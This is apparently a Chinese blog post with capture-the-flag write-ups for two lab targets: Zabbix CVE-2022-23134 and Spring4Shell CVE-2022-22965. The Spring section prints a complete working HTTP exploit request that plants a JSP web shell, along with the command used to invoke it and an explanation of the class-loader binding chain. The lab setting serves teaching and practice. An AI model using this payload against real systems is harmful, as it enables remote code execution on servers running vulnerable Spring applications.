【春秋云境】CVE-2022-23134靶场WP和CVE-2022-22965靶场WP

【春秋云境】CVE-2022-23134靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示
  • Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 存在安全漏洞,该漏洞源于在初始设置过程之后,setup.php 文件的某些步骤不仅可以由超级管理员访问,也可以由未经身份验证的用户访问。
2.开启靶场

请添加图片描述

3.登陆系统
  • 账号Admin,密码zabbix登入进系统

    请添加图片描述

4.找到存在漏洞的位置
  • Administration->Scripts->Ping

    请添加图片描述

5.输入命令
  • 输入代码cat /flag,点击Update

    请添加图片描述

6.执行命令
  • Monitoring->Maps->Local network,单击图形,再点击ping
    请添加图片描述
    请添加图片描述

成功获得flag

【春秋云境】CVE-2022-22965靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示
  • Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
2.开启靶场

请添加图片描述

3.使用burpsuite抓包
  • 开启BP抓包,并修改请求包,然后放行

    GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
    Host: eci-2zebn203x9kbec0o93cp.cloudeci1.ichunqiu.com:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    suffix: %>//
    c1: Runtime
    c2: <%
    DNT: 1
    Connection: close
    

    请添加图片描述

4.执行命令
  • 访问路径/tomcatwar.jsp?pwd=j&cmd=cat%20/flag,即可看到flag
    请添加图片描述
5.漏洞原理
  • Spring Framework:一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行

  • 首先看Controller,参数绑定了Greeting类的对象greeting:

    @Controller
    public class HelloController {
    
    @PostMapping("/greeting")
        public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
            return "hello";
        }
    
    }
    
  • 攻击payload为:

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    
  • 攻击发起的get请求的请求头为:

    get_headers = {
        "prefix": "<%",
        "suffix": "%>//",
        # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
        "c": "Runtime",
    }
    
  • 简单分析一下,相当于发送了以下参数:

    • class.module.classLoader.resources.context.parent.pipeline.first.pattern
      =带有某前缀和后缀的[jsp webshell]
    • class.module.classLoader.resources.context.parent.pipeline.first.suffix
      =.jsp
    • class.module.classLoader.resources.context.parent.pipeline.first.directory
      =shell的文件名(不含后缀)
    • class.module.classLoader.resources.context.parent.pipeline.first.prefix
      =shell的储存路径(相对路径,默认为webapps/ROOT)
    • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
      =(空)
  • 类似地,依次进行各层的解析,总体解析过程为:

    User.getClass()
        java.lang.Class.getModule()
            java.lang.Module.getClassLoader()
                org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                    org.apache.catalina.webresources.StandardRoot.getContext()
                        org.apache.catalina.core.StandardContext.getParent()
                            org.apache.catalina.core.StandardHost.getPipeline()
                                org.apache.catalina.core.StandardPipeline.getFirst()
                                    org.apache.catalina.valves.AccessLogValve.setSuffix()
    

成功获得flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值